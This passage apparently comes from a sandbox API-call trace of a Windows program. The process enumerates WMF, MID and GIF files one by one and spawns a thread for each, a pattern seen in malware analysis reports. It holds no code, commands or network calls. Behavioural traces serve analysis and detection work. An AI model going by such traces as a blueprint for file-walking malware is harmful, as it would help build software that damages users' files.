	[0283.165] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1
	[0283.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2888
	[0283.430] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.431] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x72, dwReserved1=0x0, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1
	[0283.431] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288c
	[0283.433] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.434] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1
	[0283.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2890
	[0283.436] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.436] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1
	[0283.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2894
	[0283.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.439] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1
	[0283.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2898
	[0283.441] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.441] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1
	[0283.798] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x289c
	[0283.800] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.801] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1
	[0283.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a0
	[0283.803] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.803] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1
	[0283.803] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a4
	[0283.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.806] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1
	[0283.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28a8
	[0283.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.809] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1
	[0283.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ac
	[0283.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.812] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1
	[0283.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b0
	[0283.814] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.815] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1
	[0283.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b4
	[0283.817] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.817] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1
	[0283.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28b8
	[0283.820] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.821] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x72, dwReserved1=0x0, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1
	[0283.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28bc
	[0283.822] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.823] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x72, dwReserved1=0x0, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1
	[0283.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c0
	[0283.825] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.826] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x72, dwReserved1=0x0, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1
	[0283.826] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c4
	[0283.828] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.828] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1
	[0283.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c8
	[0283.830] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.831] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1
	[0283.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28cc
	[0283.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.963] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1
	[0283.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d0
	[0283.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.967] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1
	[0283.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d4
	[0283.969] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.969] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1
	[0283.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28d8
	[0283.971] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.972] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1
	[0283.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28dc
	[0283.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.974] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1
	[0283.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e0
	[0283.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1
	[0283.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e4
	[0283.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.979] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1
	[0283.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e8
	[0283.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.982] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1
	[0283.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ec
	[0283.984] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.985] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1
	[0283.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
